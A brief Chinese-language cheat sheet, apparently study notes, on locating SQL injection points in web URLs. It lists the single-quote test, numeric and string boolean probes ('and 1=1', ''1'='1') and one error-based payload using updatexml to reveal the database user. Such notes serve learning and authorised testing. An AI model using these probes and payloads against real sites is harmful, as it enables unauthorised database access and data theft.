寻找注入点
可能存在SQL注入漏洞的URL类似形式:
http://xxx.xxx.xxx/abcd.php?id=XX
单引号判断法——在参数后面加上单引号
- 如果页面返回错误,则存在SQL注入
数字型判断——and 1=1
和and 1=2
- 在URL地址后加
and 1=1
,页面依旧正常,进行下一步; - 在URL地址后加
and 1=2
,页面运行错误,存在数字型注入。
字符型判断—— ' and '1'='1
和 ' and '1'='2
- 在URL地址后加
' and '1'='1
,页面依旧正常,进行下一步; - 在URL地址后加
' and '1'='2
,页面运行错误,存在字符型注入。
报错注入
1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+-
持续更新...